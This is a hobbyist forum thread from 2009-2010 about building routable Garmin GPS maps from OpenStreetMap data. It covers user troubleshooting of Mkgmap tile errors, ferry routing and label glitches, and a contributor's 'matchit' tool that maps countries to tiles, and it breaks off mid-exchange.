I've been using a 60CSX with and without an antenna. With an antenna and good observing conditions the EPE number improves (from 15 feet to 7 feet for example) and the signal strength bars are all at full height, but there doesn't appear to be a significant improvement in tracklog accuracy. I generally don' t use WAAS, because, the few times I did, I didn't see any improvement in accuracy.
Two side by side comparisons between an Oregon 300 and the 60CSX in good observing conditions didn't show any significant difference in accuracy. I'm looking forward to testing both under difficult observing conditions (canyons), but that won't be for a few months. The 60CSX must be really susceptible to multipath error if signals are limited, because my canyon tracklogs without an antenna can be spot on when I have a good view of the sky, and off by a mile when I don't.
- Re: Worldwide routable Garmin maps: URL REMOVED · gtesta (Gast) · 29.11.2009 15:30 · [flux]
Hi Lambertus,
thank you for your maps, they are really great!
Today i tried to download a new version of the maps. But the installer for roadtrip, mapsourse and the map for Garmin devices were missing. A second and a third request didn't solve the problem.
Bye
Jochen - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 29.11.2009 19:04 · [flux]
Yes, there are a number of tiles that trigger a bug in Mkgmap which leads to the missing roadtrip, mapsource and gmapsupp files. Trying again won't help because the requests are cached 😉
I'm working on applying a possible solution.
- Re: Worldwide routable Garmin maps: URL REMOVED · Johan974 (Gast) · 30.11.2009 21:24 · [flux]
Hi Lambertus,
After selecting a few tiles I pushed [build maps] and received an email. Opening the email, I didn't see the mapsource installer link. A scanned this topic and couldn't find an answer.
Is the mapsource installer version still available?
Greetings from Johan, Twello nearby
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 01.12.2009 09:19 · [flux]
Hallo Johan,
Look two posts up and my reaction directly above yours 😉
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 03.12.2009 11:39 · [flux]
Lambertus wrote:
It has come to my attention that some map building requests don't succeed (resulting in only an osm_routable_tiles.zip). This is probably due to an too-complex tile in the Netherlands (there might be other tiles too). I've reported this and hope a fix will be available soon.
This problem should be solved now. A new update is uploading which should include the translit results for Eastern Europe.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 03.12.2009 18:06 · [flux]
Lambertus wrote:
.. A new update is uploading which should include the translit results for Eastern Europe.
Succes. See: http://forum.openstreetmap.org/viewtopi … 096#p48096
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 03.12.2009 18:18 · [flux]
greencaps wrote:
Lambertus wrote:
.. A new update is uploading which should include the translit results for Eastern Europe.
Succes. See: http://forum.openstreetmap.org/viewtopi … 096#p48096
Very good job indeed!
- Re: Worldwide routable Garmin maps: URL REMOVED · spielmops (Gast) · 03.12.2009 19:58 · [flux]
Hi Lambertus,
would you please post here, when its possible to download gmapsupp.img and not only the tiles...
Spielmops
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 03.12.2009 21:52 · [flux]
spielmops wrote:
Hi Lambertus,
would you please post here, when its possible to download gmapsupp.img and not only the tiles...
Spielmops
That problem should have been solved yesterday evening. So if you have requested the map after that (e.g. today) then you should have the gmapsupp.img and the MapSource.exe and the Gmapi available for download.
If your browser says it cannot find the directory on the server then I deleted it because of the problems and you will have to request the map again... Sorry about that..
Otherwise, can you post the link from the email you received?
- Re: Worldwide routable Garmin maps: URL REMOVED · alimamo (Gast) · 07.12.2009 14:41 · [flux]
I guess this is a mkgmap problem, but I am not sure if it is known, or even where to post it. Perhaps you can pass this on if necessary.
We had a big lake here that used to be all one way. It rendered fine on OSM and the maps you create, but it was over 2000 nodes. Thus, it was recently corrected (?) by a bot and broken up into several ways and set as a relation of ways to make the lake. It renders on OSM OK, but now it doesn't show up on the maps for the GPS. I guess mkgmap doesn't know how to handle the relation yet.
On OSM
<http://www.openstreetmap.org/?lat=36.47 … 17&zoom=14>
On Mapsource
<http://img3.imageshack.us/img3/7597/examplesq.jpg>Just thought I'd pass this on in the hopes that it can be fixed soon. Otherwise, thanks for the great work on putting out these maps. Much appreciated.
Robert
- Re: Worldwide routable Garmin maps: URL REMOVED · sphyg (Gast) · 15.12.2009 01:54 · [flux]
So, the area I have been doing all the changes is in red. What happened. It's not something I did is it?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 15.12.2009 18:36 · [flux]
sphyg wrote:
So, the area I have been doing all the changes is in red. What happened. It's not something I did is it?
It would be useful if you tell me which area that is... Then I can look at the specific error. Most probably the area will render fine next time, Mkgmap is not without bugs.
Btw, a new version of Translit has been used with transliteration for 13 new countries. It should now also transliterate roadnames and POI. More info in this post
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 15.12.2009 18:47 · [flux]
Lambertus wrote:
Btw, a new version of Translit has been used with transliteration for 13 new countries. It should now also transliterate roadnames and POI. More info in this post
No, no, not yet. Only <node>'s with a place AND a name tag. See link.
- Re: Worldwide routable Garmin maps: URL REMOVED · Skywoolf (Gast) · 19.12.2009 11:00 · [flux]
I downloaded the latest version of the Philippines map and was glad to see all the extra tracks on some Davao roads had been cleared. I was going to ask how to do it.
One of the problems I have is that I live on the main Island of Mindanao but most of my land is on Samal Island in the Davao Gulf. I found that if I wanted the GPS to navigate to my land from home or to home from my land it could not do it due to the water in between. I solved this by adding a "track" marked vehicular ferry alongside the existing ferry route. This worked and I was able to let the GPS guide friends to my land.
I was glad to see the messy tracks gone but the track I added to the ferry route has also gone so I am back to where the GPS cannot navigate except within the same island.
Can you tell me if/how I can change the vehicular ferry route so the GPS sees it as navigable?
Thanks
- Re: Worldwide routable Garmin maps: URL REMOVED · csdf (Gast) · 19.12.2009 13:22 · [flux]
It's not clear whether you're saying that the ferry route has been deleted from the OSM data, or whether it doesn't seem to be in the Garmin map that you have created/downloaded.
Can you give an OSM link to the area you're talking about?
- Re: Worldwide routable Garmin maps: URL REMOVED · sphyg (Gast) · 19.12.2009 17:05 · [flux]
I know this is probably the wrong place to ask this, but does anyone know what the numbers signify here. Tiger has added them to streets that have no name.
http://www.openstreetmap.org/?lat=30.03 … rs=B000FTF
is an example.
Would it hurt if I changed those numbers to match the address number on the street?
- Re: Worldwide routable Garmin maps: URL REMOVED · Skywoolf (Gast) · 20.12.2009 06:25 · [flux]
csdf wrote:
It's not clear whether you're saying that the ferry route has been deleted from the OSM data, or whether it doesn't seem to be in the Garmin map that you have created/downloaded.
Can you give an OSM link to the area you're talking about?
http://www.openstreetmap.org/edit?lat=7 … 16&zoom=15
The vehicular ferry route has been on the map for a long time. It is the second one down on the map at the above URL. I found that if I am on the Island or the mainland and want the GPS to navigate to anywhere on the other side it cannot do it. I have to get it to navigate to the ferry then wait until we cross to the other side and set the GPS to navigate again from there.
I could not figure out what to do to make the GPS see the existing vehicular ferry route as part of the route and so I temporarily added another ferry route alongside. This one was recognized by the GPS so it could navigate including the ferry route.
The additional route I added has now been deleted from the OSM data (the on-line map) so what I am asking is how can the original vehicular ferry route that is on the map be modified so the GPS can recognize it as part of a drivable route?
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 20.12.2009 11:05 · [flux]
Well how exactly did you add your line? Which tags did you use? Wich way id had it (history).
The first one on the map is:
http://api.openstreetmap.org/api/0.6/way/31698206
<way id="31698206" visible="true" timestamp="2009-03-01T23:44:43Z" version="1" changeset="720582" user="murlwe" uid="18790">
<nd ref="354713284"/>
...
<nd ref="354713868"/>
<tag k="created_by" v="Potlatch 0.10f"/>
<tag k="name" v="Babak-Sasa 11"/>
<tag k="route" v="ferry"/>
</way>The second one is:
http://api.openstreetmap.org/api/0.6/way/42710041
<way id="42710041" visible="true" timestamp="2009-11-28T13:17:58Z" version="5" changeset="3235920" user="Skywoolf" uid="174212">
<nd ref="353773466"/>
...
<nd ref="534081984"/>
<tag k="name" v="Vehicular Ferry Route"/>
</way>If the second one is not routable than the reason looks obvious.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 20.12.2009 11:25 · [flux]
sphyg wrote:
I know this is probably the wrong place to ask this, but does anyone know what the numbers signify here. Tiger has added them to streets that have no name.
http://www.openstreetmap.org/?lat=30.03 … rs=B000FTF
is an example.
Would it hurt if I changed those numbers to match the address number on the street?
You better ask this on the US mailinglist of the US forum, this has nothing to do with Garmin maps.
Skywoolf wrote:
I downloaded the latest version of the Philippines map and was glad to see all the extra tracks on some Davao roads had been cleared. I was going to ask how to do it.
One of the problems I have is that I live on the main Island of Mindanao but most of my land is on Samal Island in the Davao Gulf. I found that if I wanted the GPS to navigate to my land from home or to home from my land it could not do it due to the water in between. I solved this by adding a "track" marked vehicular ferry alongside the existing ferry route. This worked and I was able to let the GPS guide friends to my land.
I was glad to see the messy tracks gone but the track I added to the ferry route has also gone so I am back to where the GPS cannot navigate except within the same island.
Can you tell me if/how I can change the vehicular ferry route so the GPS sees it as navigable?
Thanks
There were two ways that overlapped eachother:
http://www.openstreetmap.org/browse/way … 66/history
and
http://www.openstreetmap.org/browse/way … 41/history
The first one is a perfectly valid ferry route but the second one only had a name and not a way type (route=ferry) so I deleted it. It is possible that Mkgmap was confused about what to do with those two ways. so perhaps the ferry route works alright again in the next release. - Re: Worldwide routable Garmin maps: URL REMOVED · Skywoolf (Gast) · 20.12.2009 12:38 · [flux]
OK Many thanks. I will leave it alone until after the next release then see if it works.
Google has recently updated the right side of Samal Island so there are now more roads visible in the satellite image. Is there a way I can use this to add more roads on the OSM map? Or is this not allowed. I would not be copying a map as Google has no roads on their map for this area.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 20.12.2009 15:27 · [flux]
Skywoolf wrote:
Google has recently updated the right side of Samal Island so there are now more roads visible in the satellite image. Is there a way I can use this to add more roads on the OSM map? Or is this not allowed. I would not be copying a map as Google has no roads on their map for this area.
Unfortunately nope, you are not allowed to trace Google aerial imagery. Don't do it.
- Re: Worldwide routable Garmin maps: URL REMOVED · Skywoolf (Gast) · 20.12.2009 15:35 · [flux]
OK thanks
- Re: Worldwide routable Garmin maps: URL REMOVED · Spindoc Bob (Gast) · 23.12.2009 13:46 · [flux]
Spindoc Bob wrote:
Spindoc Bob wrote:
One issue I have found with the maps is that they render a particular (unique) setting as a thick purple line. This makes the map confusing to read. It is a set of lines used to define the boundaries for suburbs as defined by the Australian Bureau of Statistics. They include the following attributes:
Just following up on my post from a few week's ago. Is this something you are able to change?
Patiently been following the thread you provided on the mkgmap-dev list.
Does this (http://www.mkgmap.org.uk/pipermail/mkgm … 05974.html) suggest changes are/have been made to the default style sheet you use? If yes, do you know when they will be in place. I'm a big promoter of OSM among my Garmin geocaching friends and encourage them to use it, but the thick purple lines are a real turnoff at the moment.
Sorry I'm not much use in 'changing' the style sheet as I don't program - I just contribute to mapping on OSM.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 24.12.2009 09:25 · [flux]
No, I've been using the same Mkgmap version for a while now. I'll upgrade to the latest version for the next update which would then also contain this patch.
- Re: Worldwide routable Garmin maps: URL REMOVED · Cralle (Gast) · 26.12.2009 15:18 · [flux]
I have read through a couple of pages in this thread, but did not seem to find an answer to the problem I have when trying to enter an address on my Oregon 300. I am asked to enter start State/Province, but what ever I enter, I always get the message that the search did not return any results. Anyone know what I should enter to get to enter the actual address?
Thanks for all of your great work. This is actually what I had been looking for the last 6 months. 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 28.12.2009 15:58 · [flux]
Unfortunately the server disk was once again full which has resulted in a number of failed map build requests. If you have received an email with a link to a webdirectory that does not exist then please re-submit your request. Sorry for the inconvenience, it seems like this update is attracting more requests then usual.
Cralle wrote:
I have read through a couple of pages in this thread, but did not seem to find an answer to the problem I have when trying to enter an address on my Oregon 300. I am asked to enter start State/Province, but what ever I enter, I always get the message that the search did not return any results. Anyone know what I should enter to get to enter the actual address?
Have you found this post? http://forum.openstreetmap.org/viewtopi … 248#p19248
Thanks for all of your great work. This is actually what I had been looking for the last 6 months. 🙂
Great, I'm sorry you had to search that long to find this ;-)
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 01.01.2010 15:10 · [flux]
Lambertus wrote:
Unfortunately the server disk was once again full which has resulted in a number of failed map build requests. If you have received an email with a link to a webdirectory that does not exist then please re-submit your request. Sorry for the inconvenience, it seems like this update is attracting more requests then usual.
It happened again. More then 500 map requests in the last 48 hours was a bit too much for the harddisk to handle... 🙁
- Re: Worldwide routable Garmin maps: URL REMOVED · technate (Gast) · 05.01.2010 17:29 · [flux]
Just a quick question I am new to this. I updated the information for my neighborhood on the OSM Maps the new streets show fine they also show in the tile for the Garmin generation but when loaded on my device they are not there is there more I need to do? I added these streets in Battlement Mesa, Colorado
Valley View Lane
Gregory Lane
Cliff View Lane
Cliff View Cir
Jessica Lane
Angelica Cir
Bryan Loop - Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 05.01.2010 17:45 · [flux]
technate wrote:
I added these streets in Battlement Mesa, Colorado
Please supply links like below. Otherwise you make it to dificult for us to check it and come to the point.
http://www.openstreetmap.org/browse/way/25585737 - Re: Worldwide routable Garmin maps: URL REMOVED · technate (Gast) · 05.01.2010 17:54 · [flux]
I am guessing this is what you need
http://www.openstreetmap.org/browse/way/47520978
http://www.openstreetmap.org/browse/way/47521055
http://www.openstreetmap.org/browse/way/47520972
http://www.openstreetmap.org/browse/way/47521056
http://www.openstreetmap.org/browse/way/47521052
http://www.openstreetmap.org/browse/way/47520986 - Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 05.01.2010 18:03 · [flux]
technate wrote:
..... they also show in the tile for the Garmin generation ...
What do you mean exactly with that?
Where did you get the .img from?
- Re: Worldwide routable Garmin maps: URL REMOVED · technate (Gast) · 05.01.2010 18:06 · [flux]
I got the from http://garmin.na1400.info/routable.php and when I zoom in on the tile where the streets are located they show on the map but when I generate the maps they do not show on my GPS all the streets around them are there just not the ones I added.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 05.01.2010 18:07 · [flux]
technate wrote:
.... but when I generate the maps....
How area you doing that exactly? Where is the osm data coming from?
- Re: Worldwide routable Garmin maps: URL REMOVED · technate (Gast) · 05.01.2010 18:09 · [flux]
I think I see the problem. On the http://garmin.na1400.info/routable.php site it says that the maps are based on 12-30-2009 which is before my update. Just got confused because they show in the tile.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 05.01.2010 18:12 · [flux]
Yes indeed. The Mapnic tiles which you see in the openstreetmap are rendered within ten minutes or less. So your edits show up almost immediately. But for the Garmin img's the update is weekly. You have to wait until after next weekend to see your edits.
- Re: Worldwide routable Garmin maps: URL REMOVED · technate (Gast) · 05.01.2010 18:18 · [flux]
thanks. So I am doing it right then and will continue to contribute to the map
- Re: Worldwide routable Garmin maps: URL REMOVED · technate (Gast) · 06.01.2010 05:50 · [flux]
Another Question I have been generating the map for Colorado and even though I select all the tiles in the state most of the map is blank on my device. This causes a problem when I try to travel even 20 miles form home.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 06.01.2010 10:40 · [flux]
technate wrote:
Another Question I have been generating the map for Colorado and even though I select all the tiles in the state most of the map is blank on my device. This causes a problem when I try to travel even 20 miles form home.
That's a correct observation: Tiles 73240201, 73240203, 73240206, 73240207 and a lot of other tiles are missing but are somehow still included in the KML file that's used for the website. Don't know yet if this is a problem with Mkgmap (which was updated to the latest version) or with some other part of my toolchain... The missing tiles should be colored red.
- Re: Worldwide routable Garmin maps: URL REMOVED · csdf (Gast) · 06.01.2010 12:15 · [flux]
If the new streets are visible on the OSM website, then it's just a matter of waiting a couple of days until the changes feed through to Lambertus' website.
Edit: sorry this is a late reply to an early post - please ignore
- Re: Worldwide routable Garmin maps: URL REMOVED · technate (Gast) · 06.01.2010 16:43 · [flux]
Lambertus wrote:
technate wrote:
Another Question I have been generating the map for Colorado and even though I select all the tiles in the state most of the map is blank on my device. This causes a problem when I try to travel even 20 miles form home.
That's a correct observation: Tiles 73240201, 73240203, 73240206, 73240207 and a lot of other tiles are missing but are somehow still included in the KML file that's used for the website. Don't know yet if this is a problem with Mkgmap (which was updated to the latest version) or with some other part of my toolchain... The missing tiles should be colored red.
Will these tiles ever be available?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 06.01.2010 21:32 · [flux]
technate wrote:
Lambertus wrote:
technate wrote:
Another Question I have been generating the map for Colorado and even though I select all the tiles in the state most of the map is blank on my device. This causes a problem when I try to travel even 20 miles form home.
That's a correct observation: Tiles 73240201, 73240203, 73240206, 73240207 and a lot of other tiles are missing but are somehow still included in the KML file that's used for the website. Don't know yet if this is a problem with Mkgmap (which was updated to the latest version) or with some other part of my toolchain... The missing tiles should be colored red.
Will these tiles ever be available?
Yes, presumably with the next update. But there are no promises.
- Re: Worldwide routable Garmin maps: URL REMOVED · technate (Gast) · 11.01.2010 05:34 · [flux]
Thanks for all the work you do on this but I guess I will have to succumb to the cooperate giant. I tried the new update worse then before have been trying to use JOSM the Spillter and MKgmap to do it my self but no luck just to big a file and don't have the hours it would take to piece it together with the supper small amount of data JOSM will allow to get at once. Unless anyone has other suggestions I am running Windows 7 64x and can't get the programs to run with more memory
- Re: Worldwide routable Garmin maps: URL REMOVED · csdf (Gast) · 11.01.2010 09:09 · [flux]
Use a country extract from Geofabrik, pass it through splitter, then run mkgmap on the resulting files. You should be able to do this easily on any modern PC. I estimate that it takes me: 60 seconds to download the UK extract, 4 minutes to split it and 3 minutes to compile it to an IMG.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 11.01.2010 11:21 · [flux]
technate: Whats wrong with the latest update?
- Re: Worldwide routable Garmin maps: URL REMOVED · technate (Gast) · 13.01.2010 03:33 · [flux]
Lambertus wrote:
technate: Whats wrong with the latest update?
Most of the map tiles are incomplete. They have some of the data for the area but not all of it so I get a few miles of roads in each tile for the state of Colorado and the rest is just white space. Correction looks like most the map is there now but some sections of the tiles are not routable. For example when I cross a county line the rounting is no longer good. All the roads and data are there just no routing informationI guess.
- Re: Worldwide routable Garmin maps: URL REMOVED · technate (Gast) · 13.01.2010 23:17 · [flux]
csdf wrote:
Use a country extract from Geofabrik, pass it through splitter, then run mkgmap on the resulting files. You should be able to do this easily on any modern PC. I estimate that it takes me: 60 seconds to download the UK extract, 4 minutes to split it and 3 minutes to compile it to an IMG.
Thanks for the info but no data on America on the download site. Also do you have to unzip the files to use them in MKGmap or not?
- Re: Worldwide routable Garmin maps: URL REMOVED · csdf (Gast) · 14.01.2010 09:17 · [flux]
You can get North America extracts from Cloudmade (http://downloads.cloudmade.com/north_am … readcrumbs)
And no, you don't need to unzip the files - mkgmap can handle this.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 14.01.2010 10:58 · [flux]
csdf wrote:
.. I estimate that it takes me: 60 seconds to download the UK extract, 4 minutes to split it and 3 minutes to compile it to an IMG.
Aha. That's quick. I would like to compare that with the time I need here. With the uk extract on http://download.geofabrik.de/osm/europe/ you mean the great_britain.osm.bz2 file of 215 MB? Download took about 9 minutes! (I thought I had fast internet). I let it split now using my own splitter. But 3 minutes? Rather 3 hours I think. I once did the germany.osm.bz2 from them and it took me nearly 5 hours for the 693 MB. You must have lost of memory on that computer I suppose. It looks that windows xp does not handle my 2 GB ram very well as the swap file is more increasing then the memory use. It says that the systemcache is 1.6 GB and 1.4 GB is available of the 2GB. And the swapfile is already 372 MB. I do not understand such things.
The splitter took 26 minutes for localising 11681750 nodes. But now comes the hard work for the ways and nodes. Running...
- Re: Worldwide routable Garmin maps: URL REMOVED · csdf (Gast) · 14.01.2010 12:24 · [flux]
My PC is a 2-yr old Vista laptop with 3GB memory. Using the standard splitter from http://www.mkgmap.org.uk/page/tile-splitter, UK split takes somewhere in the region of 3-5 minutes (I can give you the exact time if you like). I'm cheating slightly - I feed it an areas.list file, rather than let it calculate the tiles and I also use the --cache option to speed things up. However even if I did neither of these two things I can't remember it ever taking > 10 minutes.
And anyway, once you've run it once, you have an areas.list file ready and waiting for your next run. 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 14.01.2010 13:48 · [flux]
Technate, I don't know if the Tiger data in the OpenStreetMap data is already of good enough quality for proper routing. Also there are still problems with routing between tiles ...
- Re: Worldwide routable Garmin maps: URL REMOVED · Wahroonga Farm (Gast) · 15.01.2010 09:58 · [flux]
Hi from downunder and thanks for all the great work.
Will the 'pre-defined country' download feature become enabled again?
Are the country boundaries based on the existing auto split tiles, or a more accurate country defined tile system?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 15.01.2010 17:58 · [flux]
Yes, the idea is to automatically generate a list of tiles that cover a country based on country polygons and the tiles that have been generated during each update. But I haven't had much time to work on this. Someone already has provided some code for this though.
Don't expect the automatically generated tiling system to adhere to sea or country borders anytime soon (maybe never, but it depends on how the Splitter tool develops in the future). The tiles will be spread 'randomly' across the globe as they are now. I know some people would like the tiles to 'hug' country borders, but I couldn't care less about such a feature. If anyone want's that kind of map then they'll have to look elsewhere.
- Re: Worldwide routable Garmin maps: URL REMOVED · Karto-Graf (Gast) · 22.01.2010 20:16 · [flux]
Hi Lambertus,
would it be possible to include the tdb file into the gmapsupp.zip file?
This would enable it for me to open the file with QLandkarte on linux.Regards,
Johann - Re: Worldwide routable Garmin maps: URL REMOVED · Chris CA (Gast) · 23.01.2010 17:37 · [flux]
I'm having an issue the OSM map. It was fine until a month or two ago (early December?).
I have Garmin Colorado 300.
When I have the OSM map loaded, I need to turn off the DEM basemap, else I cannot see any geocaches (.gpx file) or my own POIs (loaded with the Garmin POI loader).
If I turn off or remove the OSM map, I can see geocaches and my POIs fine with the DEM basemap turned on or not. - Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 26.01.2010 11:15 · [flux]
Questionmarks in Mongolia. They appear only when boundaries are involved. I see them with GPSmapEdit in Mongolia and the Russian Federation. I do not know where they come from. (A 60Cx shows them also)
Way 41231425 is the purple line here:
http://www.openstreetmap.org/edit.html? … 63&zoom=10http://www.openstreetmap.org/browse/way/41231425
name = Border Govi-Altai - ZavkhanIt is part of two relations.
http://www.openstreetmap.org/browse/relation/270057
name:en = Zavkhanhttp://www.openstreetmap.org/browse/relation/270054
name:en = Govi-AltaiThese three items have not been edited since september so I expect them to show up ok.
All three have a name or name:en with english text.(It has nothing to do with transliteration)Where do these questionmarks come from?
- Re: Worldwide routable Garmin maps: URL REMOVED · csdf (Gast) · 26.01.2010 11:19 · [flux]
Are you using the mkgmap default style? The relations style file was changed recently to add complex (and imho, ugly) labels. Try removing these lines from the relations style file and see if this removes the ????.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 26.01.2010 13:03 · [flux]
csdf wrote:
Are you using the mkgmap default style?
This question goes to Lambertus.
I post here because the used tile comes from his site. But thanks for the suggestion..
Lambertus wrote:
Yes, the idea is to automatically generate a list of tiles that cover a country based on country polygons and the tiles that have been generated during each update. But I haven't had much time to work on this. Someone already has provided some code for this though.
Not me. Today I combined some code which I use in my splitter to split osm data according areas defined by .gpx files or tileareas as defined in your world.klm file. A list like following comes out:
albania
63240520.IT-Napoli
63240538.RO-Bucuresti
63240536.MK-Skopje
luxemburg
63240479.DE-Trier
63240468.BE-Charleroi
macedonia
63240536.MK-Skopje
63240538.RO-Bucuresti
63240537.GR-Thessaloniki
moldavie
63240543.UA-Kiev
63240539.UA-Khmel'nyts'kyy
63240542.TR-Istanbul
mongolia
63240569.CN-Beijing
63240566.KZ-Almaty
nederland
63240477.NL-Amsterdam
63240476.GB-Norwich
63240472.NL-Rotterdam
63240471.GB-Southend-on-Sea
63240467.FR-Lille
63240469.BE-Brussels
63240473.NL-Eindhoven
63240470.NL-Maastricht
63240485.DE-Monchengladbach
63240468.BE-Charleroi
63240483.DE-Aachen
63240497.NL-Nijmegen
63240499.NL-Almelo
63240502.NL-Groningen
63240503.DE-Bremen
63240478.NL-Leeuwarden
nepal
63240240.BD-Dhaka
vietnam
63240241.TH-Bangkok
63240242.VN-Thanh pho Ho Chi Minh
63240243.HK-Hong KongI could adapt the output to your needs if you see a use for it.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 26.01.2010 13:31 · [flux]
Ha ha. Oversaw something. Not all tiles are listed. 63240498 is not listed as it's square is inside the nederland.gpx. Only tiles are listed which contain 'border'. But I could add some code though...
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 26.01.2010 15:25 · [flux]
Karto-Graf wrote:
would it be possible to include the tdb file into the gmapsupp.zip file?
This would enable it for me to open the file with QLandkarte on linux.I could do that, but I also create a zip specifically form QLandkarte: osm_routable_tiles.zip. Just wondering: Why are you using the gmapsupp.zip and not the tiles.zip?
Chris CA wrote:
I'm having an issue the OSM map. It was fine until a month or two ago (early December?).
I have Garmin Colorado 300.
When I have the OSM map loaded, I need to turn off the DEM basemap, else I cannot see any geocaches (.gpx file) or my own POIs (loaded with the Garmin POI loader).
If I turn off or remove the OSM map, I can see geocaches and my POIs fine with the DEM basemap turned on or not.Sorry, I have no clue about the cause. I regularly update to the latest Mkgmap though, which might fix but also introduce errors now and then.
csdf wrote:
Are you using the mkgmap default style? The relations style file was changed recently to add complex (and imho, ugly) labels. Try removing these lines from the relations style file and see if this removes the ????.
Bummer, I don't want to change anything in the default stylesheet. I hoped that the default stylesheet is some generic sheet that produces usable maps for any application....
greencaps wrote:
Lambertus wrote:
Yes, the idea is to automatically generate a list of tiles that cover a country based on country polygons and the tiles that have been generated during each update. But I haven't had much time to work on this. Someone already has provided some code for this though.
Not me. Today I combined some code which I use in my splitter to split osm data according areas defined by .gpx files or tileareas as defined in your world.klm file. A list like following comes out:
<snip/>
I could adapt the output to your needs if you see a use for it.Cool, well, it does somewhat the same as the code I already received. What I'm looking for is an XML or JSON file with that information based on e.g. country poly definitions like the ones from Cloudmade. That way new countries could be added quickly and it's easy to generate the resulting XML and JSON file on each map update.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 26.01.2010 15:53 · [flux]
Lambertus wrote:
What I'm looking for is an XML or JSON file with that information based on e.g. country poly definitions like the ones from Cloudmade. That way new countries could be added quickly and it's easy to generate the resulting XML and JSON file on each map update.
My code can handle a country poygon like netherlands.poly too. Does not mind if the boundary of a country is defined in a .gpx or .poly. You can add both types at the same time. So adding a country is easy.
But : how should the produced xml file look like? (I do not know JSON files). Like:
<country name="nederland">
<tiles>63455666,12345678,89765456</tiles>
</country>You can get it as you like.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 26.01.2010 16:36 · [flux]
greencaps wrote:
Lambertus wrote:
What I'm looking for is an XML or JSON file with that information based on e.g. country poly definitions like the ones from Cloudmade. That way new countries could be added quickly and it's easy to generate the resulting XML and JSON file on each map update.
My code can handle a country poygon like netherlands.poly too. Does not mind if the boundary of a country is defined in a .gpx or .poly. You can add both types at the same time. So adding a country is easy.
But : how should the produced xml file look like? (I do not know JSON files). Like:
<country name="netherlands">
<tiles>63455666,12345678,89765456</tiles>
</country>You can get it as you like.
Nice :-)
There are lots of ways how you can express that information in XML. I would like the one that is easiest to parse in OpenLayers, but I'm not sure which is...
<countries>
<country>
<name>netherlands</name>
<tile>63455666</tile>
<tile>12345678</tile>
<tile>89765456</tile>
</country>
</countries>
or
<countries>
<country>
<name>netherlands</name>
<tiles>
<tile>63455666</tile>
<tile>12345678</tile>
<tile>89765456</tile>
</tiles>
</country>
</countries>In JSON this could be
var countries = [
{ "name" : "netherlands", "tiles" : [ "63455666", "12345678", "89765456"]},
{ "name" : "belgium", "tiles" : [ "63455666", "12345678", "89765456"]}
]; - Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 26.01.2010 19:46 · [flux]
Ok. It outputs now a file in the second xml format. It creates also a file in JSON format.
Consider it done if you want to use it for your site. What should it's name be?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 27.01.2010 14:57 · [flux]
greencaps wrote:
Ok. It outputs now a file in the second xml format. It creates also a file in JSON format.
Wow, that's quick!
Consider it done if you want to use it for your site. What should it's name be?
I'm pondering on a catchy name, but my imagination is not very active atm. Perhaps matchit (as in match-it, as in match poly lines with area definitions) in line with translit... 😎
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 27.01.2010 17:22 · [flux]
Lambertus wrote:
I'm pondering on a catchy name.... matchit ...:
mad sh*t
Use: place matchit in a directory at choice. Create a subdirectory named Countries and fill it with .poly and/or .gpx country polygons.
./matchit ./world.kml
Any preferene for hardbaked output file names or would you use second parameter for it or all without parameters (assuming world.kml in same directory)?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 27.01.2010 18:01 · [flux]
greencaps wrote:
Lambertus wrote:
I'm pondering on a catchy name.... matchit ...:
mad sh*t
LOL 😄
Use: place matchit in a directory at choice. Create a subdirectory named Countries and fill it with .poly and/or .gpx country polygons.
./matchit ./world.kml
Perfect. Is the subdir name case sensitive? (better not)
Any preferene for hardbaked output file names or would you use second parameter for it or all without parameters (assuming world.kml in same directory)?
Parameters are preferred, as the toolchain evolves. So I'd favor an input file and an output filename parameter. The matchit program will not be in the same directory where the input and output files should be.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 27.01.2010 21:53 · [flux]
It will be case sensitive. But if you want a lowercase 'countries' its ok.
It can output two files at once but I will change that.
What about:
./matchit iinputfilename outputfilenameThe inputfilename is assumed to be a file like world.kml
If there is 'xml' (lowercase) somewhere in in the outputfilename it will create the xml format. Else the json format. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 28.01.2010 09:21 · [flux]
greencaps wrote:
It will be case sensitive. But if you want a lowercase 'countries' its ok.
It can output two files at once but I will change that.
What about:
